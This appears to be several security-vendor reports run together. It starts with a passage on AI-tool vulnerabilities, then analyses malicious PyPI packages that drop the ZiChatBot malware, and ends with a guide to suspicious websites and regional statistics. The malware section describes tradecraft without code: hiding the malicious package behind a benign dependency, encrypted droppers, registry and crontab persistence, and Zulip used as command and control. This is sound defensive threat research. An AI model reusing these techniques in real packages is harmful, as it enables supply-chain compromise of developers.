CVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.
Conclusion and advice
We observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.
To ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity.
Through our daily threat hunting, we noticed that, beginning in July 2025, a series of malicious wheel packages were uploaded to PyPI (the Python Package Index). We shared this information with the public security community, and the malware was removed from the repository. We submitted the samples to Kaspersky Threat Attribution Engine (KTAE) for analysis. Based on the results, we believe the packages may be linked to malware discussed in a Threat Intelligence report on OceanLotus.
While these wheel packages do implement the features described on their PyPI web pages, their true purpose is to covertly deliver malicious files. These files can be either .DLL or .SO (Linux shared library), indicating the packages’ ability to target both Windows and Linux platforms. They function as droppers, delivering the final payload – a previously unknown malware family that we have named ZiChatBot. Unlike traditional malware, ZiChatBot does not communicate with a dedicated command and control (C2) server, but instead uses a series of REST APIs from the public team chat app Zulip as its C2 infrastructure.
To conceal the malicious package containing ZiChatBot, the attacker created another benign-looking package that included the malicious package as a dependency. Based on these facts, we confirm that this campaign is a carefully planned and executed PyPI supply chain attack.
Technical details
Spreading
The attacker created three projects on PyPI and uploaded malicious wheel packages designed to imitate popular libraries, tricking users into downloading them. This is a clear example of a supply chain attack via PyPI. See below for detailed information about the fake libraries and their corresponding wheel packages.
Malicious wheel packages
The packages added by the attacker and listed on PyPI’s download pages are:
uuid32-utils library for generating a 32-character random string as a UUID
colorinal library for implementing cross-platform color terminal text
termncolor library for ANSI color format for terminal output
The key metadata for these packages are as follows:
Pip install command
File name
First upload date
Author / Email
pip install uuid32-utils
uuid32_utils-1.x.x-py3-none-[OS platform].whl
2025-07-16
laz**** / laz****@tutamail.com
pip install colorinal
colorinal-0.1.7-py3-none-[OS platform].whl
2025-07-22
sym**** / sym****@proton.me
pip install termncolor
termncolor-3.1.0-py3-none-any.whl
2025-07-22
sym**** / sym****@proton.me
Based on the distribution information on the PyPI web page, we can see that it offers X86 and X64 versions for Windows, as well as an x86_64 version for Linux. The colorinal project, for example, provides the following download options:
Distribution information of the colorinal project
Initial infection
The uuid32-utils and colorinal libraries employ similar infection chains and malicious payloads. As a result, this analysis will focus on the colorinal library as a representative example.
A quick look at the code of the third library, termncolor, reveals no apparent malicious content. However, it imports the malicious colorinal library as a dependency. This method allows attackers to deeply conceal malware, making the termncolor library appear harmless when distributing it or luring targets.
The termncolor library imports the malicious colorinal library
During the initial infection stage, the Python code is nearly identical across both Windows and Linux platforms. Here, we analyze the Windows version as an example.
Windows version
Once a Python user downloads and installs the colorinal-0.1.7-py3-none-win_amd64.whl wheel package file, or installs it using the pip tool, the ZiChatBot’s dropper (a file named terminate.dll) will be extracted from the wheel package and placed on the victim’s hard drive.
After that, if the colorinal library is imported into the victim’s project, the Python script file at [Python library installation path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\__init__.py will be executed first.
The __init__.py script imports the malicious file unicode.py
This Python script imports and executes another script located at [python library install path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\unicode.py. The is_color_supported() function in unicode.py is called immediately.
The code loads the dropper into the host Python process
The comment in the is_color_supported() function states that the highlighted code checks whether the user’s terminal environment supports color. The code actually loads the terminate.dll file into the Python process and then invokes the DLL’s exported function envir, passing the UTF-8-encoded string xterminalunicod as a parameter. The DLL acts as a dropper, delivering the final payload, ZiChatBot, and then self-deleting. At the end of the is_color_supported() function, the unicode.py script file is also removed. These steps eliminate all malicious files in the library and deploy ZiChatBot.
For the Linux platform, the wheel package and the unicode.py Python script are nearly identical to the Windows version. The only difference is that the dropper file is named “terminate.so”.
Dropper for ZiChatBot
From the previous analysis, we learned that the dropper is loaded into the host Python process by a Python script and then activated. The main logic of the dropper is implemented in the envir export function to achieve three objectives:
Deploy ZiChatBot.
Establish an auto-run mechanism.
Execute shellcode to remove the dropper file (terminate.dll) and the malicious script file from the installed library folder.
The dropper first decrypts sensitive strings using AES in CBC mode. The key is the string-type parameter “xterminalunicode” of the exported function. The decrypted strings are “libcef.dll”, “vcpacket”, “pkt-update”, and “vcpktsvr.exe”.
Next, the malware uses the same algorithm to decrypt the embedded data related to ZiChatBot. It then decompresses the decrypted data with LZMA to retrieve the files vcpktsvr.exe and libcef.dll associated with ZiChatBot. The malware creates a folder named vcpacket in the system directory %LOCALAPPDATA%, and places these files into it.
To establish persistence for ZiChatBot, the dropper creates the following auto-run entry in the registry:
Once preparations are complete, the malware uses the XOR algorithm to decrypt the embedded shellcode with the three-byte key 3a7. It then searches the decrypted shellcode’s memory for the string Policy.dllcppage.dll and replaces it with its own file name, terminate.dll, and redirects execution to the shellcode’s memory space.
The shellcode employs a djb2-like hash method to calculate the names of certain APIs and locate their addresses. Using these APIs, it finds the dropper file with the name terminate.dll that was previously passed by the DLL before unloading and deleting it.
Linux version
The Linux version of the dropper places ZiChatBot in the path /tmp/obsHub/obs-check-update and then creates an auto-run job using crontab. Unlike the Windows version, the Linux version of ZiChatBot only consists of one ELF executable file.
The Windows version of ZiChatBot is a DLL file (libcef.dll) that is loaded by the legitimate executable vcpktsvr.exe (hash: 48be833b0b0ca1ad3cf99c66dc89c3f4). The DLL contains several export functions, with the malicious code implemented in the cef_api_mash export. Once the DLL is loaded, this function is invoked by the EXE file. ZiChatBot uses the REST APIs from Zulip, a public team chat application, as its command and control server.
ZiChatBot is capable of executing shellcode received from the server and only supports this one control command. Once it runs, it initiates a series of sequential HTTP requests to the Zulip REST API.
In each HTTP request, an API authentication token is included as an HTTP header for server-side authentication, as shown below.
ZiChatBot utilizes two separate channel-topic pairs for its operations. One pair transmits current system information, and the other retrieves a message containing shellcode. Once the shellcode is received, a new thread is created to execute it. After executing the command, a heart emoji is sent in response to the original message to indicate the execution was successful.
Infrastructure
We did not find any traditional infrastructure, such as compromised servers or commercial VPS services and their associated IPs and domains. Instead, the malicious wheel packages were uploaded to the Python Package Index (PyPI), a public, shared Python library. The malware, ZiChatBot, leverages Zulip’s public team chat REST APIs as its command and control server.
The “helper” organization that the attacker had registered on the Zulip service has now been officially deactivated by Zulip. However, infected devices may still attempt to connect to the service, so to help you locate and cure them, we recommend adding the full URL helper.zulipchat.com to your denylist.
Victims
The malware was uploaded in July 2025. Upon discovering these attacks, we quickly released an update for our product to detect the relevant files and shared the necessary information with the public security community. As a result, the malicious software was swiftly removed from PyPI, and the organization registered on the Zulip service was officially deactivated. To date, we have not observed any infections based on our telemetry or public reports.
Zulip has officially deactivated the “helper” organization
Attribution
Based on the results from our KTAE system, the dropper used by ZiChatBot shows a 64% similarity to another dropper we analyzed in a TI report, which was linked to OceanLotus. Reverse engineering shows that both droppers use nearly identical algorithms and logic for to decrypt and decompress their embedded payloads.
Analysis results of dropper using KTAE system
Conclusions
As an active APT organization, OceanLotus primarily targets victims in the Asia-Pacific region. However, our previous reports have highlighted a growing trend of the group expanding its activities into the Middle East. Moreover, the attacks described in this report – executed through PyPI – target Python users worldwide. This demonstrates OceanLotus’s ongoing effort to broaden its attack scope.
In the first half of 2025, a public report revealed that the group launched a phishing campaign using GitHub. The recent PyPI-based supply chain attack likely continues this strategy. Although phishing emails are still a common initial infection method for OceanLotus, the group is also actively exploring new ways to compromise victims through diverse supply chain attacks.
A suspicious website is a web resource that cannot be definitively classified as phishing, but whose activities are unsafe. Such sites manipulate users, tricking them into voluntarily transferring money for non-existent services, signing up for hidden subscriptions, or disclosing personal data through carefully crafted terms of service. These include fake online stores, dubious crypto exchanges, investment platforms, and services with paid subscriptions.
Kaspersky has introduced a new web filtering category, “Sites with an undefined trust level,” into its security products (Kaspersky Premium, Android and iOS apps, etc.). The system analyzes the domain name and age, IP address reputation, DNS configuration, HTTP security headers, and SSL certificate to automatically detect suspicious resources.
According to Kaspersky data for January 2026, the most widespread global threat is fake browser extensions that mimic security products — they were detected in 9 out of 10 regions analyzed worldwide. Such extensions intercept browser data, track user activity, hijack search queries, and inject ads.
Kaspersky’s regional statistics reveal the specific nature of these threats: in Africa, over 90% of the top 10 suspicious websites are online trading scam platforms; in Latin America, fake betting services predominate; in Russia, fake binary options brokers and “educational platforms” with fraudulent subscriptions lead the way; in CIS countries — crypto scams and bots for inflating engagement.
Key indicators of a suspicious website to check: a strange domain name with numbers or random characters, cheap top-level domains (.xyz, .top, .shop), a recently registered domain (less than 6 months old according to WHOIS data), unrealistic promises (“100% guaranteed income,” “up to 300% profit”), lack of company contact information, and payments only via cryptocurrency or irreversible bank transfers.
Introduction
The online landscape is filled with various traps lying in wait for users. One such threat involves websites that can’t be strictly classified as phishing, yet whose activities are inherently unsafe. These sites often operate on the fringes of the law, even if they aren’t directly violating it. Sometimes they use a cleverly crafted Terms of Service document as a loophole. These agreements might include clauses such as no-refund policies or forced automatic subscription renewals.
Fake online stores, dubious financial platforms, and various online services that mimic legitimate business operations are all categorized as suspicious. Unlike actual phishing sites, which aim to steal sensitive data like banking credentials or passwords, these suspicious sites represent a far more cunning trap. Their goal is manipulation: tricking the victim into willingly paying for non-existent goods and services or signing them up for a subscription that’s nearly impossible to cancel. Beyond financial gain, these sketchy websites may also hunt for personal data to sell later on the dark web.
Our solutions categorize them as having an “undefined trust level”. This article explains what these sites look like, how to identify them, and what you can do to stay safe.
The dangers of shady websites
One of the biggest risks associated with making a purchase from an untrusted website that seems to be an online store is the financial loss and falling victim to fraud. Fake shops will entice you with attractive deals to get you hooked. After you pay, you may never receive what you paid for, or you may receive some cheap piece of unusable junk instead of the item you ordered. Investment or “guaranteed income” programs are another type of classic scam — they promise rapid returns, and once they take your deposits, they disappear without a trace.
Visiting or buying from untrusted suspicious websites can expose you to various risks that go beyond a single bad purchase. Fraudulent websites often collect your personal information even if you do not end up making a purchase. By completing a form or signing up for a “free offer”, you may be providing the scammer with access to your information.
Personal data collection can happen in a fairly straightforward and obvious way — for instance, through a standard order delivery form. In this scenario, attackers end up with sensitive information like the user’s full name, shipping and billing addresses, phone number, email address, and, of course, payment details. As we’ve previously discussed, fraudsters sell this kind of information, and there’re countless ways it can be used down the line. For example, this data might be leveraged for spam campaigns or more serious threats like stalking or targeted attacks.
Common types of suspicious sites
Let’s take a closer look at the different types of shady sites out there and how interacting with them can lead to financial loss, data leaks, the unauthorized use of personal information, and other consequences.
It’s worth noting that rogue websites can masquerade as legitimate ones in almost any industry. The first type of fraudulent site we’ll look at is fake online stores. These can appear as clones of real brand websites or as standalone stores. Usually, the scam follows one of two paths: the buyer either receives a counterfeit or poor-quality product, or they receive nothing at all. These sites lure victims in with suspiciously low prices and “exclusive” deals. Often, users are subjected to psychological pressure: the time to make a purchase decision is purposefully limited, provoking the victim, as with any other scam, into making an impulse purchase.
Another common type of shady site includes online exchanges and trading platforms. These primarily target cryptocurrency, as the lack of legislative regulation for digital currency in certain countries makes them a magnet for fraudsters. These suspicious sites often lure victims with supposedly favorable exchange rates or other enticing gimmicks. If the user attempts to exchange cryptocurrency, their tokens are gone for good. Beyond simple exchanges, rogue sites offer investment services and even display a fake balance growth to appear credible. However, withdrawing funds is impossible; when the victim tries to cash out, they’re prompted to pay some fee or fictional tax.
Subscription traps are also worth noting, offering everything from psychological tests to online video streaming platforms. The hallmark of these sites is that they deliberately withhold critical information, such as recurring charges, or hide the fact it even exists. Typically, the scheme works like this: a user is offered a subscription for a nominal fee, like $1. While that seems attractive, the next charge – perhaps only a week later – might be as much as $50. This information is intentionally obscured, buried in fine print or tucked away in the Terms of Service where it’s harder to find. Legitimate services always clearly disclose subscription terms and provide an easy way to cancel before a trial period ends. Scam services, on the other hand, do everything possible to distract the user from the actual terms of use and subscription.
Shady sites can also masquerade as providers of mediation services, such as legal or real estate assistance. In reality, the service is either never delivered or provided in a stripped-down, incomplete form. For example, a user might be prompted to pay for a service that’s normally provided for free. The danger here lies not only in losing money for non-existent services but also in the significant risk of exposing personal data, such as ID details, taxpayer identification numbers, social security numbers, or driver’s license information. Once in the hands of attackers, this data can become a tool for executing further scams or targeted attacks.
On the whole, suspicious sites are fairly difficult to distinguish from legitimate, trustworthy services. Masquerading as a legitimate business is the primary goal of these sites, and the fraudulent schemes they employ are not always obvious. Nevertheless, there are protective measures as well as certain indicators that can help you suspect a site is unsafe for purchases or financial transactions.
How to identify suspicious or fraudulent websites
Despite the increasingly convincing attempts to create fake shops, the majority of them still lack the quality of real online stores, and there are many signs that may give them away. Some of these signs can be caught by the eye while others require a bit of technical investigation. By combining visual inspection, technical checks, and trusted online tools, you can protect yourself from financial loss or data theft.
Visual and manual clues
You don’t need to be a cybersecurity expert to catch many red flags just by observing the site’s domain, visuals, language and behavior. For instance, scam sites often have strange or randomly generated names, filled with numbers, underscores, hyphens, or meaningless words, like best-shop43.com. In addition, such vague top-level domains as .xyz, .top, or .shop are also frequently used in scams because they’re cheap and easy to register.
Furthermore, most fake stores sites look unprofessional, with poor visuals, pixelated images, mismatched fonts, or copied templates. Many fraudulent websites borrow layouts or logos from other brands or free templates, which makes them appear generic and sketchy.
Another major giveaway lies in the content itself. Be aware of persuasive language, unrealistic promises, or emotional triggers such as No KYC, Risk-free returns, 100% guaranteed income, Up to 300% profit, or Passive income with zero effort. Unrealistic deals are another red flag. If the products are listed at extremely low prices, continuous countdown timers, and “limited time only” messages that are often used to pressure you into making a quick purchase, it’s a clear tell of a fraudulent website.
Legitimate businesses always provide verifiable contact details, such as a physical address, company name, and customer support. On the contrary, scam sites hide this information. You may also notice the non-functioning pages, broken or suspicious links leading to unrelated external sites which indicate poor maintenance or malicious intent.
Another important signal is the website’s social media presence. Legitimate online businesses usually maintain at least one active social media account to promote their products and communicate with customers. In most cases, these businesses have long-established social media accounts with harmonized posting history and engagement from real users, consistency between the brand website and social media profiles (same name, logo, and links). The links to social media profiles from the website are usually direct. In contrast, fraudulent or deceptive websites often lack any meaningful social media presence or display signs of superficial or artificial activity. This may include missing social media accounts altogether, social media icons that lead to non-existent, inactive, or unrelated pages, or recently created profiles with very few posts and minimal user engagement. In some cases, comment sections are disabled or dominated by spam and automated content, suggesting an attempt to avoid public interaction rather than engage with customers.
Lastly, the payment options offered by the site can also tell a lot about its legitimacy. Be extremely cautious if a website only accepts cryptocurrency, wire transfers, or third-party P2P payments. These payment methods are irreversible and are preferred by scammers. Legitimate e-commerce platforms typically offer secure and reversible payment options, such as credit cards or trusted payment gateways that include buyer protection policies.
However, the absence or existence of any of these factors alone does not necessarily indicate malicious intent. It should be evaluated in combination with technical, linguistic, and behavioral indicators, rather than treated as a standalone signal of legitimacy.
Technical indicators to check
Looking into technical signs can reveal whether a website is trustworthy or potentially fraudulent.
One of the first things to check is the domain age. Scam websites are often short-lived, appearing only for a few weeks or months before disappearing once users start reporting them. To check when the domain was created, use a WHOIS lookup. If it’s less than six months old, be cautious — especially for e-commerce or investment sites, where legitimacy and trust take time to build.
Let’s take a look at the registration details for the popular online marketplace Amazon. As we can see from the WHOIS information, it was registered in 1994.
Meanwhile, a reported suspicious online store was created a couple of months ago.
Legitimate websites usually operate on stable hosting platforms and remain on the same IP addresses or networks for long periods. In contrast, fraudulent websites often move between servers (in most cases using a cheap shared hosting service) or reuse infrastructure already associated with abuse. Checking the IP address reputation can reveal if the website or the hosting server has previously been linked to suspicious activities. Even if the website looks legitimate, a poor IP reputation can expose it.
In addition to that, looking at the infrastructure behavior over time can reveal patterns about its legitimacy. Websites associated with fraudulent activity often show short lifespans, sudden spikes in activity, or rapid appearance and disappearance, which indicates a coordinated campaign rather than a legitimate business.
Another important clue is hidden ownership. When the WHOIS details show “Redacted for Privacy” or leaves the organization name blank, it may indicate that the website owner is deliberately hiding their identity.
We should point out that while this can raise suspicion during investigations, hidden WHOIS data is not inherently malicious. Many legitimate businesses use privacy protection services for valid reasons. These may include protection from spam and phishing after public email addresses are taken from WHOIS databases, personal safety for small business owners, and brand protection to prevent competitors or malicious actors from targeting the registrant. This means that some businesses can use services like WHOIS Privacy Protection, Domains By Proxy, or PrivacyGuardian.org to remove the WHOIS data while still operating transparently on their websites through clear contact details, customer support channels, and legal pages (e.g. terms of use).
Therefore, hidden ownership should be treated as a contextual risk indicator, not a standalone proof of fraud. It becomes more suspicious when combined with other signals such as newly registered domains, and lack of legal information.
Next, you can check the security headers of the website. Legitimate websites are usually well maintained and include several key HTTP headers for protection. Some examples include:
Content-Security-Policy (CSP) provides strong defense against cross-site scripting (XSS) attacks by defining which scripts are allowed to run on the site and blocking any malicious JavaScript that could steal login data or inject fake forms.
HTTP Strict-Transport-Security (HSTS) forces browsers to connect to the site only over HTTPS. It ensures all communication is encrypted and prevents redirecting users to an insecure (HTTP) version of the site.
X-Frame-Options prevents clickjacking, which is a type of attack where a legitimate-looking button or link on a malicious page secretly performs another action in the background.
X-Content-Type-Options blocks MIME-type attacks by preventing browsers from misinterpreting file types.
Referrer-Policy controls how much information about your previous browsing (referrer URLs) is shared with other sites.
These headers form the “digital hygiene” of a website. Their absence doesn’t always mean a site is malicious, but it does suggest a lack of security awareness or professional maintenance — both strong reasons to be cautious.
You should also check the SSL certificate. Scam sites may use self-signed or short-lived SSL certificates. You can inspect this by clicking the padlock icon in your browser’s address bar — if it says “not secure” or the certificate authority seems unfamiliar, that’s a red flag.
You can check the security headers and the SSL certificate by sending an HTTP request programmatically or by using some online service.
Another indicator that provides insight into how well a website is done and managed is DNS configurations. Legitimate businesses typically use reliable DNS providers and maintain consistent DNS records. Missing the name server NS or mail exchange MX records may indicate poor DNS configuration. In addition to NS and MX, reputable sites also configure SPF and DMARC records to protect their brand from email spoofing and phishing. Something scam website developers won’t bother with because they don’t intend to build a long-standing reputation.
You can check the configurations of DNS records either programmatically or by using an online service.
Another recommendation is to pay attention to website behavior. If there are frequent redirects, pop-up ads, or background requests to unknown domains, this may indicate unsafe scripting or tracking.
How to protect yourself
Tools and databases for detecting suspicious websites
We at Kaspersky have built an intelligent system for detecting suspicious web resources and added this new type of protection into many of our products, including Kaspersky Premium, Kaspersky for Android and iOS, and others. Our detection model is based on many factors, including but not limited to the following:
domain name and age,
IP reputation,
stability of the infrastructure used,
DNS configurations,
HTTP security headers,
digital identity and popularity of the web resource.
When a user tries to visit a site flagged as having an undefined trust level, our solutions show a warning to stop the visitor from becoming a victim of personal data leaks, financial losses or a bad purchase:
This component is on by default.
Moreover, there are several online tools and databases that can help assess a website’s legitimacy:
ScamAdviser analyzes trust based on WHOIS, server location, and web reputation.
APIVoid provides risk scoring using DNS, IP, and domain reputation databases.
National government databases often maintain official lists of fraudulent or blacklisted domains.
Preventive measures
To protect yourself from such threats, it might a good idea to take some additional preventive measures. Always double-check the URL and domain name, especially when you are about to click a link or make a payment. Make sure the site uses HTTPS and has a trusted certificate.
You can use standard browser tools to verify site security. For example, in Google Chrome, clicking the site information button (the lock or settings icon in the address bar) displays details about the connection security and the site’s certificate.
In the Security section, you can check whether the site supports HTTPS – it should say “Connection is secure” – and view the site’s digital certificate.
Additionally, keep reliable security software with real-time protection running on your device to stop you from accessing dangerous websites. Do not download any files or enter your personal information on websites that look unprofessional or suspicious. And finally, remember the golden rule: if a deal seems too good to be true, it often is.
If you realize that you’re on a scam website, it’s important to perform certain post-incident actions immediately. First, contact your bank or payment provider as soon as possible to block the transaction or card. Then, change your passwords for the services which might have been compromised, and run a full antivirus scan on your device to detect and remove any potential threats. Lastly, consider reporting the website to the cybercrime agency in your country or to the consumer protection agency. Sharing your experience online by leaving a review or warning will give notice to potential customers alike.
By staying careful and taking quick actions, you can significantly reduce the chances of being a target and help make the internet a safer place for everyone.
An overview of detection statistics for sites with an undefined trust level
To illustrate the types of suspicious sites prevalent in various regions around the world, we analyzed anonymized detection data from Kaspersky solutions for the “websites with an undefined trust level” category in January 2026. For each region, we identified the 10 most frequently encountered sites and calculated the share of each within that list. To maintain privacy, specific domains are not listed directly; instead, they’re described based on their functionality and characteristics.
Most visited suspicious sites
First, let’s examine the sites that appear across multiple regions, indicating a high prevalence.
In 9 out of the 10 regions analyzed, we encountered a suspicious image processing platform (*a*o*.com). This site positions itself as a photo editing tool, but in reality, it serves as an intermediary server for uploading images used in phishing and other campaigns. By interacting with such a site, users risk exposing personal data under the guise of uploading images or falling victim to a phishing attack.
Percentage of the *a*o*.com domain detections by region, January 2026 (download)
This site has the largest share of detections in the Russian Federation, where it ranks first in the TOP 10 with a 40.80% share. It is also prevalent in Latin American countries (21.70%) and the CIS (14.64%), while it’s least common in Canada at 0.24%.
The next site appeared in 7 regions. It consists of a landing page for a fake antivirus solution presented as a browser extension (*n*s*.com). This extension redirects the user to a fake search engine page allowing it to collect data and track user activity, specifically search queries.
Percentage of the *n*s*.com domain detections by region, January 2026 (download)
This site is most frequently detected in South Asia, with a share of 33.31%. Its presence in Canada and Oceania is roughly equal (15.47% and 15.09%, respectively). We recorded the lowest number of detections in Africa, at 2.99%.
Another suspicious browser extension appeared in the TOP 10 in 6 out of the 10 regions. It’s a fake privacy-enhancing tool hosted at *w*a*.com. Instead of providing the advertised privacy features, this extension carries a high risk of intercepting browser data. It can modify browser settings, harvest user data, and swap the default search engine for a fake one. Furthermore, it maintains full control over all browser traffic.
Percentage of the *w*a*.com domain detections by region, January 2026 (download)
This “service” has its largest share, 22.25%, in the Middle East and North Africa, and is also quite common in Canada (16.26%). It’s least frequently encountered in Latin America (5.38%) and East Asia (4.02%).
The site *o*r*.com appeared in five regional rankings. It’s a fake security service promising to provide online safety by warning users about malicious sites and dangerous search queries. This extension has the potential to steal cookies (including session cookies), inject advertisements, spoof login forms, and harvest browser history and search queries. We noted that this site made the TOP 10 in Africa (0.59%), the MENA (Middle East and North Africa) region (4.57%), Europe (5.61%), Canada (7.21%), and Oceania (1.93%).
In 4 out of the 10 regions, we identified several other recurring sites. One of them (*n*p*.xyz) mimics a repository for creative AI image generation prompts while capturing browser data. The domain hosting this site exhibits several red flags: it was recently registered, and the owner’s information is hidden. This site reached the TOP 10 in Africa (0.51%), the MENA region (7.04%), Latin America (22.54%, ranking first in that region), and South Asia (5.91%).
The second service (*i*s*.com) positions itself as a tool for safe searching, protecting the browser from threats, and verifying extensions. However, this is a typical browser hijacker, much like the others mentioned above. It made the TOP 10 in South Asia (8.03%), Oceania (17.97%), Europe (3.90%), and Canada (14.35%).
The third site (*h*t*.com) poses as a private browsing extension. In reality, it’s another potentially unwanted application designed for browser hijacking: it modifies settings, steals sensitive data (cookies, browser history, and queries), and can redirect the user to phishing pages. Users have specifically noted the difficulty involved in removing the extension. This site appears in the TOP 10 for the MENA region (10.17%), Canada (7.06%), Europe (3.81%), and Oceania (2.81%).
Another domain (*o*t*.com) that reached the TOP 10 in four regions is a service mimicking a browser extension for safe searching and web browsing. It’s dangerous because it injects ads and steals user data. It’s important to note that such extensions can be installed without explicit user consent – for example, via links embedded in other software. This service holds the number one spot in two regions: Canada (25.72%) and Oceania (30.92%), while also appearing in the TOP 10 for East Asia (8.01%) and Africa (0.88%).
Consequently, we can see that the majority of suspicious sites detected by our solutions worldwide are browser hijackers masquerading as security products. Nevertheless, other categories of sites also appear in the TOP 10.
Next, we’ll examine each region individually, focusing on descriptions of domains not previously covered. For clarity, the sites mentioned above will be marked as [MULTI-REGION], while those appearing in only two or three regions will include the names of those specific areas. We’ll observe several regional overlaps and similarities, allowing us to determine which types of suspicious sites are popular both within specific regions and globally.
Africa
Distribution of the TOP 10 suspicious websites in Africa, January 2026 (download)
The three most prevalent domains in African countries are found exclusively in this region. All of them – *i*r*.world (60.27%), *m*a*.com (22.84%), and *e*p*.com (9.36%) – are potentially fraudulent online trading platforms suspected of using forged licenses. These sites employ classic scam schemes where it’s impossible to withdraw any alleged earnings. In fifth place is a domain we’ll also see in the European TOP 10, *r*e*.com (1.46%): a platform marketed as a tool for retail and semi-professional traders. It charges for services available elsewhere for free. Eighth place is held by a site that also appears in the Russian TOP 10: *a*c*.com (0.56%). This is a dubious AI tool that claims to offer free subscriptions to a premium graphics editor. In ninth place is a domain that also surfaces in the Canadian TOP 10: *u*e*.com (0.53%), a browser extension of the “web protection” variety that we’ve encountered previously.
In summary, the African region is dominated by financial scams within the online trading and brokerage sectors. These include fake platforms that make it impossible to withdraw funds and use fake licenses and classic schemes to steal users’ money. Additionally, Africa sees paid tools that duplicate free services and questionable AI-based subscriptions. The primary threat in this region is financial loss through fraudulent investment-themed sites.
MENA
Distribution of the TOP 10 suspicious websites in the Middle East and North Africa, January 2026 (download)
In the MENA region, the site *a*v*.su holds the top spot with a 28.64% share; notably, this site also appears in the TOP 10 for Russia. It markets itself as a tool for building custom VoIP-PBX systems. However, it has an extremely low trust rating and is frequently associated with phishing, and hidden redirects. Using this service carries significant risks, including data leaks, and financial loss.
Ranked seventh is *a*r*.foundation (6.32%), an AI bot allegedly designed for trading, which we also identified in the TOP 10 for Oceania. This service has been flagged as an investment scam operating as a pyramid scheme with the hallmarks of a Ponzi scheme.
The ranking is rounded out by two domains not found in any other region. The first one, *l*e*.pro (4.42%), is a spoof of a popular betting service. The second, *p*r*.group (2.21%), is a clone of a well-known broker. Both sites are scams.
In the MENA region, the landscape is dominated by fake VoIP services as well as counterfeits of financial and betting platforms, which attackers use to conduct phishing attacks, and perform hidden redirects. A significant portion of suspicious sites consists of fake online privacy tools and browser hijackers masquerading as security extensions. Ponzi schemes and cryptocurrency scams are also prominent. The primary risks for the region are data theft, and financial loss.
Latin America
Distribution of the TOP 10 suspicious websites in Latin America, January 2026 (download)
In Latin America, we identified five popular suspicious sites specific to this region, which is unusual compared to other areas where more overlaps are typically observed. Ranking third with a share of 10.81% is the fake betting platform *b*e*.net. In fifth place is *r*e*.club, an illegitimate clone of a well-known bookmaker, with a share of 7.82%.
Further down the list of local threats are *a*a*.com.br (7.02%), a Brazilian Ponzi scam; *s*a*.com (5.07%), which offers dubious investment programs; and *t*r*.com (4.53%), a potentially dangerous trading platform.
In Latin America, the most-visited suspicious sites are betting-themed scams, including both clones of legitimate sites and those built from scratch. Also prevalent are Ponzi schemes, fake investment programs, and dubious online brokers. A significant portion of these sites consists of browser hijackers posing as crypto platforms and AI bots. The primary threats in Latin American countries include financial loss through gambling and Ponzi schemes, as well as the theft of NFTs and other tokens.
East Asia
Distribution of the TOP 10 suspicious websites in East Asia, January 2026 (download)
In the East Asian TOP 10, we see the highest concentration of domains that are absent from other regional rankings.
In first place, with an 18.77% share, is the fake broker *r*x*.com, which can be used to steal personal data or funds. Second place is held by a crypto-gaming site (16.44%) that we previously encountered in the Latin American TOP 10. Visitors to this site risk losing NFTs and other tokens. In third place is the domain *u*h*.net (11.61%), used for redirects, which can hijack sessions. Following this is *s*m*.com (9.98%), a domain typically used as a browser-hijacking server and for phishing attacks, serving as a link in an infection chain.
Rounding out the local threats in East Asia are the following domains: *e*v*.com (9.37%), utilized in drive-by attacks; *a*k*.com (9.16%), an API-like domain associated with suspicious scripts and extensions; and *b*l*.com (4.38%), a domain potentially used for redirects.
East Asia has a high concentration of region-specific fake brokers, crypto gaming platforms, and NFT marketplaces. The primary threats for this region include the loss of financial data, NFTs, and other tokens, as well as session hijacking.
South Asia
Distribution of the TOP 10 suspicious websites in South Asia, January 2026 (download)
In South Asian countries, we also observe a concentration of local suspicious sites specific to the region.
The second most popular site in the region is *a*s*.com (12.01%), a poor-reputation, high-risk microloan service typical of South Asia. By interacting with these sites, users risk not only losing significant funds but also compromising their overall security. Following this are *v*n*.com with a 9.47% share and *l*f*.com with 8.65%. These domains are employed in various fraudulent schemes, ranging from phishing to spam.
The TOP 10 also includes *s*o*.com (4.80%), a free video downloading service associated with a high risk of infection. The final site we analyzed in the South Asia region is *c*o*.site (1.89%), a pseudo-tool for local SEO optimization that carries the danger of data loss and a high risk of financial fraud through subscription sign-ups.
In summary, the region is dominated by fake antivirus extensions, microloan services, dubious video downloaders, and counterfeit SEO tools. The primary risks for South Asia include financial fraud, phishing and spam distribution, and data theft.
CIS
When analyzing statistics for suspicious sites in CIS countries, we treat Russia as a separate region due to the unique characteristics of its online space which are not found in any other CIS member states. However, we’ve placed these two regions in the same section, as we’ve observed overlaps between them that are not seen in other parts of the world.
Distribution of the TOP 10 suspicious websites in the CIS, January 2026 (download)
The top two sites in the CIS TOP 10 also appear in the Russian TOP 10. The domain *r*a*.bar, which ranks first in the CIS (39.50%), holds the second spot in Russia (15.93%) and is a fake trading site. It’s worth noting that sites in the .bar domain zone are frequently used for scams. In second place in the CIS (15.29%) and sixth in Russia (3.75%) is the domain *p*o*.ru, which is often associated with bots for inflating follower counts and automating community management.
Domains from fourth to eighth place are specific only to the CIS region and don’t appear in the Russian TOP 10. These sites include:
*a*e*.online (8.42%): an online image editor that carries risks of data harvesting
*n*a*.io (6.51%): a high-risk cryptocurrency trading platform
*e*r*.com (3.72%): a site promising free cryptocurrency and posing the risk of compromising visitors’ private keys and digital wallets
*s*o*.ltd (3.70%): a domain with an extremely low trust rating
*s*.gg (3.49%): a scam site masquerading as a play-to-earn blockchain game
The ranking concludes with sites that overlap with the Russian region. *a*.consulting (2.42%) is a fake clone of a binary options site, and *a*.lol (2.32%) is a domain suspected of dubious activity.
The CIS landscape is dominated by fake trading platforms (particularly crypto exchanges), promises of easy profits, play-to-earn scams, and dubious investment projects. We also observe many bots for inflating social metrics and automation. The primary threat in the CIS is the theft of private keys, digital wallets, and funds through investment schemes and lures involving online promotion.
